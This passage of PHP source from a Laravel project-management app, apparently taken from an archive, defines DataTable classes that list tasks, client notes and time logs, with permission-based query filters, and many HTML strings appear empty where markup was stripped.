'; return $members; }); $datatables->editColumn('short_code', function ($row) { if (is_null($row->task_short_code)) { return ' -- '.$this->timer($row); } return '' . $row->task_short_code . ''.$this->timer($row); }); $datatables->addColumn('name', function ($row) { $members = []; foreach ($row->users as $member) { $members[] = $member->name; } return implode(',', $members); }); // if (in_array('timelogs', user_modules())) { // // $datatables->addColumn( // 'timer', function ($row) { // if ($row->boardColumn->slug == 'completed' || $row->boardColumn->slug == 'waiting_approval' || is_null($row->is_task_user)) { // return null; // } // // if (is_null($row->userActiveTimer)) { // return ''; // } // // $timerButtons = '
'; // // if (is_null($row->userActiveTimer->activeBreak)) { // $timerButtons .= ''; // $timerButtons .= ''; // $timerButtons .= '
'; // // return $timerButtons; // } // // $timerButtons .= ''; // $timerButtons .= ''; // $timerButtons .= ''; // // return $timerButtons; // }); // } $datatables->editColumn('clientName', fn($row) => $row->clientName ?: '--'); $datatables->addColumn('task', fn($row) => $row->heading); $datatables->addColumn('task_project_name', fn($row) => !is_null($row->project_id) ? $row->project_name : '--'); $datatables->addColumn('estimateTime', function ($row) { $time = $row->estimate_hours*60 + $row->estimate_minutes; return CarbonInterval::formatHuman($time); }); $datatables->addColumn('timeLogged', function ($row) { $estimatedTime = $row->estimate_hours*60 + $row->estimate_minutes; $timeLog = '--'; $loggedTime = ''; if ($row->timeLogged) { $totalMinutes = $row->timeLogged->sum('total_minutes'); $breakMinutes = $row->breakMinutes(); $loggedHours = $totalMinutes - $breakMinutes; // Convert total minutes to hours and minutes $hours = intdiv($loggedHours, 60); $minutes = $loggedHours % 60; // Format output based on hours and minutes $timeLog = $hours > 0 ? $hours . 'h' . ($minutes > 0 ? ' ' . sprintf('%02dm', $minutes) : '') : ($minutes > 0 ? sprintf('%dm', $minutes) : '0s'); /** @phpstan-ignore-line */ } if($estimatedTime < $loggedHours){ $loggedTime = ''. $timeLog . ''; }else{ $loggedTime = ''. $timeLog . ''; } return $loggedTime; }); $datatables->editColumn('heading', function ($row) { $subTask = $labels = $private = $pin = $timer = ''; if ($row->is_private) { $private = ' ' . __('app.private') . ''; } if (($row->pinned_task)) { $pin = ' ' . __('app.pinned') . ''; } if ($row->active_timer_all_count > 1) { $timer .= ' ' . $row->active_timer_all_count . ' ' . __('modules.projects.activeTimers') . ''; } if ($row->activeTimer && $row->active_timer_all_count == 1) { $timer .= ' ' . $row->activeTimer->timer . ''; } if ($row->subtasks_count > 0) { $subTask .= ' ' . $row->completed_subtasks_count . '/' . $row->subtasks_count . ''; } foreach ($row->labels as $label) { $labels .= '' . $label->label_name . ''; } $name = ''; $priorityColors = [ 'high' => '#dd0000', 'medium' => '#ffc202', 'low' => '#0a8a1f', ]; $priorityLabels = [ 'high' => __('modules.tasks.high'), 'medium' => __('modules.tasks.medium'), 'low' => __('modules.tasks.low'), ]; if (isset($priorityColors[$row->priority])) { $priority = '' . $priorityLabels[$row->priority] . ''; } else { $priority = ''; } if (!is_null($row->project_id) && !is_null($row->id)) { $name .= '
' . $row->heading .'  '. $priority.'
' . $row->project_name . '
'; } else if (!is_null($row->id)) { $name .= '
' . $row->heading .'  '. $priority.'
'; } if ($row->repeat) { $name .= '' . __('modules.events.repeat') . ''; } return BaseModel::clickAbleLink(route('tasks.show', [$row->id]). $this->tabUrl, $name, $subTask . ' ' . $private . ' ' . $pin . ' ' . $timer . ' ' . $labels); }); $datatables->addColumn('task_category_id', function ($row) { return $row->category->category_name ?? '--'; }); $datatables->addColumn('priority', function ($row) { $priority = $row->priority; return $priority ? __('modules.tasks.' . strtolower($priority)) : '--'; }); $datatables->addColumn('labels', function ($row) { $labels = []; foreach ($row->labels as $label) { $labels[] = $label->label_name; } return $labels ? implode(', ', $labels) : '--'; }); $datatables->addColumn('client_name', function ($row) { return $row->clientName ?? '--'; }); $datatables->editColumn('board_column', function ($row) use ($taskBoardColumns, $userId, $clientIds) { $taskUsers = $row->users->pluck('id')->toArray(); if ($this->changeStatusPermission == 'all' || ($this->changeStatusPermission == 'added' && ($row->added_by == user()->id || $row->added_by == $userId || in_array($row->added_by, $clientIds))) || ($this->changeStatusPermission == 'owned' && in_array(user()->id, $taskUsers)) || ($this->changeStatusPermission == 'both' && (in_array(user()->id, $taskUsers) || $row->added_by == user()->id || $row->added_by == $userId || in_array($row->added_by, $clientIds))) || ($row->project_admin == user()->id) ) { $taskBoardColumn = TaskboardColumn::waitingForApprovalColumn(); // Check if approval_send is 1, then disable the select dropdown if ($row->approval_send == 1 && $row->need_approval_by_admin == 1 && (in_array('employee', user_roles()) && $row->project_admin != user()->id) && !in_array('admin', user_roles())) { return '' . $row->boardColumn->column_name . ''; } if (($row->board_column_id == $taskBoardColumn->id) && (in_array('admin', user_roles()) || (in_array('employee', user_roles()) && $row->project_admin == user()->id))) { return '' . $row->boardColumn->column_name . ''; }else{ $status = ''; return $status; } } return '' . $row->boardColumn->column_name . ''; }); $datatables->addColumn('milestone', function ($row) use ($incompleteMilestones) { $status = ($row->milestone && $row->milestone->status == 'complete') ? $row->milestone->milestone_title : null ; if($status != null ){ return $status; } $taskUsers = $row->users->pluck('id')->toArray(); $showDropdown = ( ( $this->editTaskPermission == 'all' || ($this->editTaskPermission == 'added' && $row->added_by == user()->id) || ($this->editTaskPermission == 'owned' && in_array(user()->id, $taskUsers)) || ($this->editTaskPermission == 'both' && (in_array(user()->id, $taskUsers) || $row->added_by == user()->id)) ) && ( $this->editMilestonePermission == 'all' || ($this->editMilestonePermission == 'added' && $row->added_by == user()->id) || ($this->editMilestonePermission == 'owned' && in_array(user()->id, $taskUsers)) ) ); if($showDropdown) { $milestonesDropdown = ''; return $milestonesDropdown; }else { $selectedMilestone = '--'; foreach ($incompleteMilestones as $milestone) { if ($milestone->id == $row->milestone_id) { $selectedMilestone = $milestone->milestone_title; break; } } return $selectedMilestone; } }); $datatables->addColumn('status', fn($row) => $row->boardColumn->column_name); $datatables->setRowId(fn($row) => 'row-' . $row->id); $datatables->setRowClass(fn($row) => $row->pinned_task ? 'alert-primary' : ''); $datatables->removeColumn('project_id'); $datatables->removeColumn('image'); $datatables->removeColumn('created_image'); $datatables->removeColumn('label_color'); // CustomField For export $customFieldColumns = CustomField::customFieldData($datatables, Task::CUSTOM_FIELD_MODEL); $datatables->rawColumns(array_merge(['short_code', 'board_column', 'completed_on', 'action', 'clientName', 'due_date', 'users', 'heading', 'check', 'timeLogged', 'timer', 'start_date', 'milestone'], $customFieldColumns)); return $datatables; } /** * @param Task $model * @return mixed */ public function query(Task $model) { $request = $this->request(); $startDate = null; $endDate = null; $userId = UserService::getUserId(); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); } $projectId = $request->projectId; $taskBoardColumn = TaskboardColumn::completeColumn(); $model = $model->leftJoin('projects', 'projects.id', '=', 'tasks.project_id') ->leftJoin('users as client', 'client.id', '=', 'projects.client_id') ->join('taskboard_columns', 'taskboard_columns.id', '=', 'tasks.board_column_id') ->leftJoin('mention_users', 'mention_users.task_id', 'tasks.id') ->leftJoin('project_milestones', 'project_milestones.id', '=', 'tasks.milestone_id'); if (($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all')) || ($request->has('project_admin') && $request->project_admin == 1) ) { $model->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users as member', 'task_users.user_id', '=', 'member.id'); } else { $model->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users as member', 'task_users.user_id', '=', 'member.id'); } $model->leftJoin('users as creator_user', 'creator_user.id', '=', 'tasks.created_by') ->leftJoin('task_labels', 'task_labels.task_id', '=', 'tasks.id') ->selectRaw( 'tasks.id, tasks.approval_send, tasks.priority, tasks.estimate_hours, tasks.estimate_minutes, tasks.completed_on, tasks.task_short_code, tasks.start_date, tasks.added_by, projects.need_approval_by_admin, projects.project_name, projects.project_admin, tasks.heading, tasks.repeat, client.name as clientName, creator_user.name as created_by, creator_user.image as created_image, tasks.board_column_id, tasks.due_date, taskboard_columns.column_name as board_column, taskboard_columns.label_color, tasks.task_category_id, tasks.project_id, tasks.is_private ,( select count("id") from pinned where pinned.task_id = tasks.id and pinned.user_id = ' . $userId . ') as pinned_task, project_milestones.milestone_title as milestone_name, project_milestones.id as milestone_id' ) ->addSelect('tasks.company_id') // Company_id is fetched so the we have fetch company relation with it) ->with('users', 'activeTimerAll', 'boardColumn', 'activeTimer', 'timeLogged', 'timeLogged.breaks', 'userActiveTimer', 'userActiveTimer.activeBreak', 'labels', 'taskUsers', 'category') ->withCount('activeTimerAll', 'completedSubtasks', 'subtasks') ->groupBy('tasks.id'); if ($request->pinned == 'pinned') { $model->join('pinned', 'pinned.task_id', 'tasks.id'); $model->where('pinned.user_id', $userId); } if (!in_array('admin', user_roles())) { if ($request->pinned == 'private') { $model->where( function ($q2) use ($userId) { $q2->where('tasks.is_private', 1); $q2->where( function ($q4) use ($userId) { $q4->where('task_users.user_id', $userId); $q4->orWhere('tasks.added_by', $userId); } ); } ); } else { $model->where( function ($q) use ($userId) { $q->where('tasks.is_private', 0); $q->orWhere( function ($q2) use ($userId) { $q2->where('tasks.is_private', 1); $q2->where( function ($q5) use ($userId) { $q5->where('task_users.user_id', $userId); $q5->orWhere('tasks.added_by', $userId); } ); } ); } ); } } if ($request->assignedTo == 'unassigned' && $this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles())) { $model->whereDoesntHave('users'); } if ($startDate !== null && $endDate !== null) { $model->where( function ($q) use ($startDate, $endDate) { if (request()->date_filter_on == 'due_date') { $q->whereBetween(DB::raw('DATE(tasks.`due_date`)'), [$startDate, $endDate]); } elseif (request()->date_filter_on == 'start_date') { $q->whereBetween(DB::raw('DATE(tasks.`start_date`)'), [$startDate, $endDate]); } elseif (request()->date_filter_on == 'completed_on') { $q->whereBetween(DB::raw('DATE(tasks.`completed_on`)'), [$startDate, $endDate]); } } ); } if ($request->overdue == 'yes' && $request->status != 'all') { $model->where(DB::raw('DATE(tasks.`due_date`)'), '<', now(company()->timezone)->toDateString()); } if ($projectId != 0 && $projectId != null && $projectId != 'all') { $model->where('tasks.project_id', '=', $projectId); } if ($request->clientID != '' && $request->clientID != null && $request->clientID != 'all') { $model->where('projects.client_id', '=', $request->clientID); } if ($request->assignedTo != '' && $request->assignedTo != null && $request->assignedTo != 'all' && $request->assignedTo != 'unassigned') { $model->where('task_users.user_id', '=', $request->assignedTo); } if (($request->has('project_admin') && $request->project_admin != 1) || !$request->has('project_admin')) { if ($this->viewTaskPermission == 'owned' && $this->projectView == false) { $model->where( function ($q) use ($request, $userId) { $q->where('task_users.user_id', '=', $userId); $q->orWhere('mention_users.user_id', $userId); if ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && $request->assignedTo == 'all') { $q->orWhereDoesntHave('users'); } if (in_array('client', user_roles())) { $q->orWhere('projects.client_id', '=', $userId); } } ); if ($projectId != 0 && $projectId != null && $projectId != 'all' && !in_array('client', user_roles())) { $model->where( function ($q) use ($userId) { $q->where('projects.project_admin', '<>', $userId) ->orWhere('mention_users.user_id', $userId); } ); } } if ($this->viewTaskPermission == 'added' && $this->projectView == false) { $model->where( function ($q) use ($userId) { $q->where('tasks.added_by', '=', $userId) ->orWhere('mention_users.user_id', $userId); } ); } if ($this->viewTaskPermission == 'both' && $this->projectView == false) { $model->where( function ($q) use ($request, $userId) { $q->where('task_users.user_id', '=', $userId); $q->orWhere('tasks.added_by', '=', $userId) ->orWhere('mention_users.user_id', $userId); if (in_array('client', user_roles())) { $q->orWhere('projects.client_id', '=', $userId); } if ($this->viewUnassignedTasksPermission == 'all' && !in_array('client', user_roles()) && ($request->assignedTo == 'unassigned' || $request->assignedTo == 'all')) { $q->orWhereDoesntHave('users'); } } ); } } if ($request->assignedBY != '' && $request->assignedBY != null && $request->assignedBY != 'all') { $model->where('creator_user.id', '=', $request->assignedBY); } if ($request->status != '' && $request->status != null && $request->status != 'all') { if ($request->status == 'not finished' || $request->status == 'pending_task') { $model->where('tasks.board_column_id', '<>', $taskBoardColumn->id); } else { $model->where('tasks.board_column_id', '=', $request->status); } } if ($request->label != '' && $request->label != null && $request->label != 'all') { $model->where('task_labels.label_id', '=', $request->label); } if ($request->priority != '' && $request->priority != null && $request->priority != 'all') { $model->where('tasks.priority', '=', $request->priority); } if ($request->category_id != '' && $request->category_id != null && $request->category_id != 'all') { $model->where('tasks.task_category_id', '=', $request->category_id); } if ($request->billable != '' && $request->billable != null && $request->billable != 'all') { $model->where('tasks.billable', '=', $request->billable); } if ($request->milestone_id != '' && $request->milestone_id != null && $request->milestone_id != 'all') { $model->where('tasks.milestone_id', $request->milestone_id); } if ($request->searchText != '') { $model->where( function ($query) { $query->where('tasks.heading', 'like', '%' . request('searchText') . '%') ->orWhere('member.name', 'like', '%' . request('searchText') . '%') ->orWhere('projects.project_name', 'like', '%' . request('searchText') . '%') ->orWhere('projects.project_short_code', 'like', '%' . request('searchText') . '%') ->orWhere('tasks.task_short_code', 'like', '%' . request('searchText') . '%'); } ); } if ($request->trashedData == 'true') { $model->whereNotNull('projects.deleted_at'); } else { $model->whereNull('projects.deleted_at'); } if ($request->type == 'public') { $model->where('tasks.is_private', 0); } $model->orderbyRaw('pinned_task desc'); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('allTasks-table') ->parameters( [ 'initComplete' => 'function () { window.LaravelDataTables["allTasks-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("#allTasks-table .select-picker").selectpicker(); $(".bs-tooltip-top").removeClass("show"); $(".select-picker.change-status").each(function() { var selectPicker = $(this); selectPicker.selectpicker(); selectPicker.siblings("button").attr("title", ""); }); }', ] ); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $taskSettings = TaskSetting::first(); $data = [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false, ], __('app.id') => ['data' => 'id', 'name' => 'id', 'title' => __('app.id'), 'visible' => false], __('modules.taskCode') => ['data' => 'short_code', 'name' => 'task_short_code', 'title' => __('modules.taskCode')] ]; if (in_array('timelogs', user_modules())) { // $data[__('app.timer') . ' '] = ['data' => 'timer', 'name' => 'timer', 'exportable' => false, 'searchable' => false, 'sortable' => false, 'title' => __('app.timer'), 'class' => 'text-right']; } $data2 = [ __('app.task') => ['data' => 'heading', 'name' => 'heading', 'exportable' => false, 'title' => __('app.task')], __('app.menu.tasks') . ' ' => ['data' => 'task', 'name' => 'heading', 'visible' => false, 'title' => __('app.menu.tasks')], __('app.project') => ['data' => 'task_project_name', 'visible' => false, 'name' => 'task_project_name', 'title' => __('app.project')], __('modules.tasks.assigned') => ['data' => 'name', 'name' => 'name', 'visible' => false, 'title' => __('modules.tasks.assigned')], __('app.completedOn') => ['data' => 'completed_on', 'name' => 'completed_on', 'title' => __('app.completedOn')], ]; if ($this->projectView == true) { $data2[__('modules.projects.milestones')] = ['data' => 'milestone', 'name' => 'milestone_name', 'title' => __('modules.projects.milestones')]; } $data = array_merge($data, $data2); if (in_array('client', user_roles())) { if (in_array('client', user_roles()) && $taskSettings->start_date == 'yes') { $data[__('app.startDate')] = ['data' => 'start_date', 'name' => 'start_date', 'title' => __('app.startDate')]; } if ($taskSettings->due_date == 'yes') { $data[__('app.dueDate')] = ['data' => 'due_date', 'name' => 'due_date', 'title' => __('app.dueDate')]; } if ($taskSettings->time_estimate == 'yes' && in_array('timelogs', user_modules())) { $data[__('modules.tasks.estimateTime')] = ['data' => 'estimateTime', 'name' => 'estimateTime', 'title' => __('modules.tasks.estimateTime')]; } if ($taskSettings->hours_logged == 'yes' && in_array('timelogs', user_modules())) { $data[__('modules.employees.hoursLogged')] = ['data' => 'timeLogged', 'name' => 'timeLogged', 'title' => __('modules.employees.hoursLogged')]; } if ($taskSettings->assigned_to == 'yes') { $data[__('modules.tasks.assignTo')] = ['data' => 'users', 'name' => 'member.name', 'exportable' => false, 'title' => __('modules.tasks.assignTo')]; } if ($taskSettings->status == 'yes') { $data[__('app.columnStatus')] = ['data' => 'board_column', 'name' => 'board_column', 'exportable' => false, 'searchable' => false, 'title' => __('app.columnStatus')]; } } else { $data[__('app.client')] = ['data' => 'client_name', 'visible' => false, 'name' => 'client_name', 'title' => __('app.client')]; $data[__('app.startDate')] = ['data' => 'start_date', 'name' => 'start_date', 'title' => __('app.startDate')]; $data[__('app.dueDate')] = ['data' => 'due_date', 'name' => 'due_date', 'title' => __('app.dueDate')]; if ($taskSettings->time_estimate == 'yes' && in_array('timelogs', user_modules())) { $data[__('modules.tasks.estimateTime')] = ['data' => 'estimateTime', 'name' => 'estimateTime', 'title' => __('modules.tasks.estimateTime')]; } if (in_array('timelogs', user_modules())) { $data[__('modules.employees.hoursLogged')] = ['data' => 'timeLogged', 'name' => 'timeLogged', 'title' => __('modules.employees.hoursLogged')]; } $data[__('modules.tasks.assignTo')] = ['data' => 'users', 'name' => 'member.name', 'exportable' => false, 'title' => __('modules.tasks.assignTo')]; $data[__('app.columnStatus')] = ['data' => 'board_column', 'name' => 'board_column', 'exportable' => false, 'searchable' => false, 'title' => __('app.columnStatus')]; } $data[__('app.task') . ' ' . __('app.status')] = ['data' => 'status', 'name' => 'board_column_id', 'visible' => false, 'title' => __('app.task') . ' ' . __('app.status')]; $data[__('modules.tasks.taskCategory')] = ['data' => 'task_category_id', 'name' => 'task_category_id', 'visible' => false, 'title' => __('modules.tasks.taskCategory')]; $data[__('modules.tasks.priority')] = ['data' => 'priority', 'name' => 'priority', 'visible' => false, 'title' => __('modules.tasks.priority')]; $data[__('app.label')] = ['data' => 'labels', 'name' => 'labels', 'visible' => false, 'title' => __('app.label')]; $action = [ Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return array_merge($data, CustomFieldGroup::customFieldsDataMerge(new Task()), $action); } private function timer($row) { if ($row->boardColumn->slug == 'completed' || $row->boardColumn->slug == 'waiting_approval' || is_null($row->is_task_user)) { return null; } if (is_null($row->userActiveTimer)) { return '
'; } $timerButtons = '
'; if (is_null($row->userActiveTimer->activeBreak)) { $timerButtons .= ''; $timerButtons .= ''; $timerButtons .= '
'; return $timerButtons; } $timerButtons .= ''; $timerButtons .= ''; $timerButtons .= ''; return $timerButtons; } } DataTables/ClientNotesDataTable.php000064400000020544150325104510013253 0ustar00editClientNotePermission = user()->permission('edit_client_note'); $this->deleteClientNotePermission = user()->permission('delete_client_note'); $this->viewClientNotePermission = user()->permission('view_client_note'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('check', fn($row) => $this->checkBox($row)) ->addColumn('action', function ($row) { $action = '
'; $action .= '
'; return $action; }) ->editColumn('title', function ($row) { if ($row->ask_password == 1) { return '' . $row->title . ''; } return '' . $row->title . ''; }) ->editColumn('type', function ($row) { if ($row->type == '0') { return ' ' . __('app.public') . ''; } return ' ' . __('app.private') . ''; }) ->editColumn('created_at', function ($row) { return $row->created_at->timezone(company()->timezone)->translatedFormat($this->company->date_format . ' ' . $this->company->time_format); }) ->editColumn('id', fn($row) => $row->id) ->addIndexColumn() ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['action', 'check', 'title', 'type']); } /** * @param ClientNote $model * @return ClientNote|\Illuminate\Database\Eloquent\Builder */ public function query(ClientNote $model) { $request = $this->request(); $notes = $model->where('client_notes.client_id', $request->clientID); $notes->leftJoin('client_user_notes', 'client_user_notes.client_note_id', '=', 'client_notes.id'); if (in_array('client', user_roles())) { $notes->where(function ($query) { return $query->where('client_notes.type', 0) ->orWhere('client_notes.is_client_show', 1); }); } elseif (!in_array('admin', user_roles())) { if ($this->viewClientNotePermission == 'added') { $notes->where(function ($query) { return $query->where('client_notes.added_by', user()->id) ->orWhere('client_notes.type', 0); }); } elseif ($this->viewClientNotePermission == 'owned') { $notes->where(function ($query) { return $query->where('client_user_notes.user_id', user()->id) ->orWhere('client_notes.type', 0); }); } elseif ($this->viewClientNotePermission == 'both') { $notes->where(function ($query) { return $query->where('client_user_notes.user_id', user()->id) ->orWhere('client_notes.type', 0) ->orWhere('client_notes.added_by', user()->id); }); } } if (!is_null($request->searchText)) { $notes->where('client_notes.title', 'like', '%' . request('searchText') . '%'); } $notes->select('client_notes.*')->groupBy('client_notes.id'); return $notes; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('client-notes-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["client-notes-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { // }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'title' => __('app.id')], __('modules.client.noteTitle') => ['data' => 'title', 'name' => 'title', 'title' => __('modules.client.noteTitle')], __('modules.client.noteType') => ['data' => 'type', 'name' => 'type', 'title' => __('modules.client.noteType')], __('app.createdOn') => ['data' => 'created_at', 'name' => 'created_at', 'title' => __('app.createdOn')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/TimeLogsDataTable.php000064400000046371150325104510012555 0ustar00editTimelogPermission = user()->permission('edit_timelogs'); $this->deleteTimelogPermission = user()->permission('delete_timelogs'); $this->viewTimelogPermission = user()->permission('view_timelogs'); $this->approveTimelogPermission = user()->permission('approve_timelogs'); $this->viewTimelogEarningsPermission = user()->permission('view_timelog_earnings'); $this->ignoreDeletedAtCondition = $ignoreDeletedAtCondition; } /** * @param mixed $query * @return \Yajra\DataTables\DataTableAbstract|\Yajra\DataTables\EloquentDataTable */ public function dataTable($query) { $userId = UserService::getUserId(); $datatables = datatables()->eloquent($query); $datatables->addIndexColumn(); $datatables->addColumn('check', fn($row) => $this->checkBox($row)); $datatables->addColumn('action', function ($row) use ($userId) { $action = '
'; return $action; }); $datatables->addColumn('employee_name', fn($row) => $row->user->name); $datatables->editColumn('name', fn($row) => view('components.employee', ['user' => $row->user])); $datatables->editColumn('start_time', fn($row) => $row->start_time->timezone($this->company->timezone)->translatedFormat($this->company->date_format . ' ' . $this->company->time_format)); $datatables->editColumn('end_time', function ($row) { if (!is_null($row->end_time)) { return $row->end_time->timezone($this->company->timezone)->translatedFormat($this->company->date_format . ' ' . $this->company->time_format); } if (!is_null($row->activeBreak)) { return " " . __('modules.timeLogs.paused') . ''; } return " " . __('app.active') . ''; }); $datatables->editColumn('total_hours', function ($row) { // Determine total minutes based on end_time $totalMinutes = is_null($row->end_time) ? (($row->activeBreak) ? $row->activeBreak->start_time->diffInMinutes($row->start_time) : now()->diffInMinutes($row->start_time)) - $row->breaks->sum('total_minutes') : $row->total_minutes - $row->breaks->sum('total_minutes'); // Convert total minutes to hours and minutes $hours = intdiv($totalMinutes, 60); $minutes = $totalMinutes % 60; // Format output based on hours and minutes $formattedTime = $hours > 0 ? $hours . 'h' . ($minutes > 0 ? ' ' . sprintf('%02dm', $minutes) : '') : ($minutes > 0 ? sprintf('%dm', $minutes) : '0s'); // Build timeLog with conditional icons $timeLog = '' . $formattedTime . ''; if (is_null($row->end_time)) { $timeLog .= ' '; } elseif ($row->approved) { $timeLog .= ' '; } return $timeLog; }); $datatables->editColumn('earnings', function ($row) { $memberHoursRate = ProjectMember::where('user_id', $row->user_id)->where('project_id', $row->project_id)->first(); $totalMinutes = is_null($row->end_time) ? (($row->activeBreak) ? $row->activeBreak->start_time->diffInMinutes($row->start_time) : now()->diffInMinutes($row->start_time)) - $row->breaks->sum('total_minutes') : $row->total_minutes - $row->breaks->sum('total_minutes'); $userData = (!empty($memberHoursRate->hourly_rate) && $memberHoursRate->hourly_rate !== 0) ? $memberHoursRate->hourly_rate : $row->user_hour_rate; $amount = ($userData/60) * $totalMinutes; return currency_format($amount, company()->currency_id); }); $datatables->editColumn('project_name', function ($row) { $name = ''; if (!is_null($row->project_id) && !is_null($row->task_id)) { $name .= '
' . $row->task->heading . '
' . $row->task->project->project_name . '
'; } else if (!is_null($row->project_id)) { $name .= '' . $row->project->project_name . ''; } else if (!is_null($row->task_id)) { $name .= '' . $row->task->heading . ''; } return $name; }); $datatables->addColumn('task_name', fn($row) => $row->task?->heading ?? '--'); $datatables->addColumn('task_project_name', fn($row) => $row->project?->project_name ?? '--'); $datatables->addColumn('short_code', fn($row) => $row->project?->project_short_code ?? '--'); $datatables->addIndexColumn(); $datatables->setRowId(fn($row) => 'row-' . $row->id); $datatables->orderColumn('project_name', 'tasks.heading $1'); $datatables->removeColumn('project_id'); $datatables->removeColumn('total_minutes'); $datatables->removeColumn('task_id'); // Custom Fields For export $customFieldColumns = CustomField::customFieldData($datatables, ProjectTimeLog::CUSTOM_FIELD_MODEL); $datatables->rawColumns(array_merge(['end_time', 'action', 'project_name', 'name', 'total_hours', 'check'], $customFieldColumns)); return $datatables; } /** * @param ProjectTimeLog $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(ProjectTimeLog $model) { $request = $this->request(); $projectId = $request->projectId; $employee = $request->employee; $taskId = $request->taskId; $approved = $request->approved; $invoice = $request->invoice; $userId = UserService::getUserId(); $model = $model->with('user', 'user.employeeDetail', 'user.employeeDetail.designation', 'user.session', 'task', 'task.project', 'breaks', 'activeBreak', 'project'); if (!in_array('client', user_roles()) && $request->has('project_admin') && $request->project_admin == 1) { $model->leftJoin('users', 'users.id', '=', 'project_time_logs.user_id') ->leftJoin('employee_details', 'users.id', '=', 'employee_details.user_id'); } else { $model->join('users', 'users.id', '=', 'project_time_logs.user_id') ->join('employee_details', 'users.id', '=', 'employee_details.user_id'); } $model = $model->leftJoin('designations', 'employee_details.designation_id', '=', 'designations.id') ->leftJoin('tasks', 'tasks.id', '=', 'project_time_logs.task_id') ->leftJoin('projects', 'projects.id', '=', 'tasks.project_id'); $model = $model->select('project_time_logs.id', 'project_time_logs.start_time', 'project_time_logs.end_time', 'project_time_logs.total_hours', 'project_time_logs.total_minutes', 'project_time_logs.memo', 'project_time_logs.user_id', 'tasks.project_id', 'project_time_logs.task_id', 'users.name', 'users.image', 'project_time_logs.hourly_rate', 'project_time_logs.earnings', 'project_time_logs.approved', 'tasks.heading', 'projects.project_name', 'designations.name as designation_name', 'project_time_logs.added_by', 'projects.project_admin', 'employee_details.hourly_rate as user_hour_rate'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '' && $request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $startDate = Carbon::createFromFormat($this->company->date_format, $request->startDate)->startOfDay(); // Assuming $startDate is already in a specific timezone $endDate = Carbon::createFromFormat($this->company->date_format, $request->endDate)->endOfDay(); // Assuming $endDate is already in a specific timezone $model->whereBetween(DB::raw('CONVERT_TZ(project_time_logs.`start_time`, \'+00:00\', @@session.time_zone)'), [$startDate, $endDate]); } if (!is_null($employee) && $employee !== 'all') { $model->where('project_time_logs.user_id', $employee); } if (!is_null($projectId) && $projectId !== 'all') { $model->where('tasks.project_id', '=', $projectId); } if (!is_null($taskId) && $taskId !== 'all') { $model->where('project_time_logs.task_id', '=', $taskId); } if (!is_null($approved) && $approved !== 'all') { if ($approved == 2) { $model->whereNull('project_time_logs.end_time'); } else { $model->where('project_time_logs.approved', '=', $approved); } } if (!is_null($invoice) && $invoice !== 'all') { if ($invoice == 0) { $model->whereNull('project_time_logs.invoice_id'); } else if ($invoice == 1) { $model->whereNotNull('project_time_logs.invoice_id'); } } if ($request->searchText != '') { $model->where(function ($query) { $query->where('tasks.heading', 'like', '%' . request('searchText') . '%') ->orWhere('project_time_logs.memo', 'like', '%' . request('searchText') . '%') ->orWhere('projects.project_name', 'like', '%' . request('searchText') . '%') ->orWhere('projects.project_short_code', 'like', '%' . request('searchText') . '%') ->orWhere('tasks.task_short_code', 'like', '%' . request('searchText') . '%'); }); }; if (($request->has('project_admin') && $request->project_admin != 1) || !$request->has('project_admin')) { if ($this->viewTimelogPermission == 'added') { $model->where('project_time_logs.added_by', $userId); } if ($this->viewTimelogPermission == 'owned') { $model->where(function ($q) use ($userId) { $q->where('project_time_logs.user_id', '=', $userId); if (in_array('client', user_roles())) { $q->orWhere('projects.client_id', '=', $userId); } }); if ($projectId != 0 && $projectId != null && $projectId != 'all' && !in_array('client', user_roles())) { $model->where('projects.project_admin', '<>', $userId); } } if ($this->viewTimelogPermission == 'both') { $model->where(function ($q) use ($userId) { $q->where('project_time_logs.user_id', '=', $userId); $q->orWhere('project_time_logs.added_by', '=', $userId); if (in_array('client', user_roles())) { $q->orWhere('projects.client_id', '=', $userId); } }); } } if (!$this->ignoreDeletedAtCondition) { $model->whereNull('tasks.deleted_at'); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('timelogs-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["timelogs-table"].buttons().container() .appendTo( "#table-actions") }', 